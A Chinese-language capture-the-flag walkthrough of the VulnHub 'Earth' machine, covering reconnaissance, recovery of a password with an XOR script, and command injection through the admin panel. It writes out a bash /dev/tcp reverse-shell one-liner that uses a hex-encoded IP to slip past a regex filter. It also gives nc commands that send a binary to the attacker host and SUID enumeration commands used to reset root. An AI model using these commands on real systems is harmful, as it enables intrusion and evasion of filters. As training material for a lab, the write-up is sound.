基本信息

靶机下载:https://download.vulnhub.com/theplanets/Earth.ova

攻击机器:192.168.20.128(Windows操作系统)

靶机:192.168.20.0/24

目标:获取5个flag+root权限

基本步骤

信息收集

我们将靶机开启,首先使用nmap探活,查看主机精确IP,如下所示

fffa9937d0ed584052811cb91f2c5ee7

我们靶机的IP为192.168.20.140,开放80、443、22端口,首先使用浏览器访问80端口,发现显示结果如下

image-20241018134637172

显示400BadRequest,就很疑惑,尝试使用443https协议访问也是有问题的,我们上网找一下这方面的相关解释

image-20241018135003247

大概率是因为我们不能直接通过IP访问,需要找到其正确的URL地址,我们使用nmap进行更详细的信息探测,使用命令如下

nmap -O -sV -p- -A 192.168.20.140

image-20241018135920978

我们发现关键信息,给了DNS解析地址,即earth.localterratest.earth.local,我们在host文件中加入对应的解析地址,如下所示

image-20241018140403901

在浏览器中我们直接使用域名进行访问,如下所示

image-20241018140709003

漏洞初探

我去试了试他界面给的那几串字符串,但是没发现任何有用的信息,所以还是先进行目录扫描吧,看看能不能有啥信息出现

image-20241018142101782

我们发现存在登录界面,我们尝试访问,看看有没有什么信息

image-20241018142145415

这个登陆框抓包了,但是没有任何有用的信息,sql注入用sqlmap跑了,现实的是没有注入漏洞,应该是其token值进行了限制,所以我们这里试着像上一篇文章一样,试着去看看有没有php后门或者txt文件泄露了相关的信息,相关命令如下所示

gobuster dir -u http://earth.local/ -x php,txt,jsp,asp -w "C:\Users\Administrator\Desktop\目录字典\directory-list-2.3-medium.txt"

但是结果是啥都没扫出来,就当我非常绝望的时候,我想起来还有一个域名,而且肯定会在某个备份文件中有信息告诉我们前面的信息是如何进行加密的,所以我们试着去扫一扫另外一个域名下是否有相关信息,结果还真的扫出来了

image-20241018150353910

我们去看看这个robots.txt写了什么

image-20241018150742174

最后一个告诉了我们一个testingnotes.*的文件,我们猜测是txt文件或者php文件,我们都尝试一下

image-20241018151108371

我们翻译过来就是下面这句话

image-20241018151353768

告诉了我们如下几条信息

1.使用XOR加密
2.加密文件为testdata.txt
3.用户名为terra

我们访问testdata.txt文件,相关信息如下

According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

脚本代码如下所示:

import binascii

c ="2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
m ="According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."

m_new = binascii.b2a_hex(m.encode("utf-8"))
result = hex(int(c,16) ^ int(m_new,16))
print(result)

这里解密出来的十六进制数据再拿去转成字符串,得到如下结果

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

这里面都是重复的字符串,所以我们猜测用户名为terra,密码为earthclimatechangebad4humans

image-20241018191420824

我们成功登录进去,发现有一个命令执行框,这下可以快乐的执行反弹shell了

反弹shell

我们首先试试能不能直接任意命令执行,我们先随便试一试相关命令

image-20241018191759569

直接开始反弹shell,这里就不过多赘述

3a22686b9fa01e3b7781289a68f5e7ca

我们发现这里禁止了远程连接,但是我们又是必须要获取shell权限的,不然后面的权限提升没办法做,我们首先看看这个网站下这个页面的源代码,看看能不能有什么发现,在找的过程中顺带发现了第一个flag

image-20241018194124577

[user_flag_3353b67d6437f07ba7d34afd7d2fc27d]

image-20241018194740015

我们这里发现了这串代码对我们的反弹shell语句进行了过滤,仔细分析一下是对我们的IP地址进行了正则匹配,所以我们只需要将我们的IP地址转成十六进制即可

/bin/bash -i >& /dev/tcp/0xC0A81480/9001 0>&1

image-20241018195554509

反弹shell成功,接下来进行提权即可

权限提升

我们这里试着使用suid提权,SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限,我们首先搜索符合条件的可以提权的程序

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -user root -perm -4000 -print 2>/dev/null
####三种命令都可以

image-20241018202111524

但是这里面并没有我们常见的用来提权的几种程序,但是有一个reset_root非常的奇怪,我们试着直接运行这个程序

image-20241018202752823

发现失败了,这里我们只能将其传回本地分析了,使用nc可以传回来,我也是第一次遇见,所以这里稍微写详细一点

首先我们在kali攻击机上开一个接收端口,如下所示

nc -l 4444 > reset_root

再通过nc将靶机上的文件传输过去

nc 192.168.20.138 < /usr/bin/reset_root

我们传到靶机上后通过strace命令对其进行分析,分析结果如下所示

Img

应该是因为没有这几个文件才导致我们的文件无法正常运行,所以我们只需要创建这几个文件就可以了

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

image-20241018215437977

成功执行,root用户密码是Earth,我们登录即可

image-20241018220009341

image-20241018220244428

第二个flag也成功找到

[root_flag_b0da9554d29db2117b02aa8b66ec492e]

总结

  1. 异或脚本编写
  2. 反弹shell绕过
  3. suid提权
  4. nc进行文件传输
  5. strace进行文件分析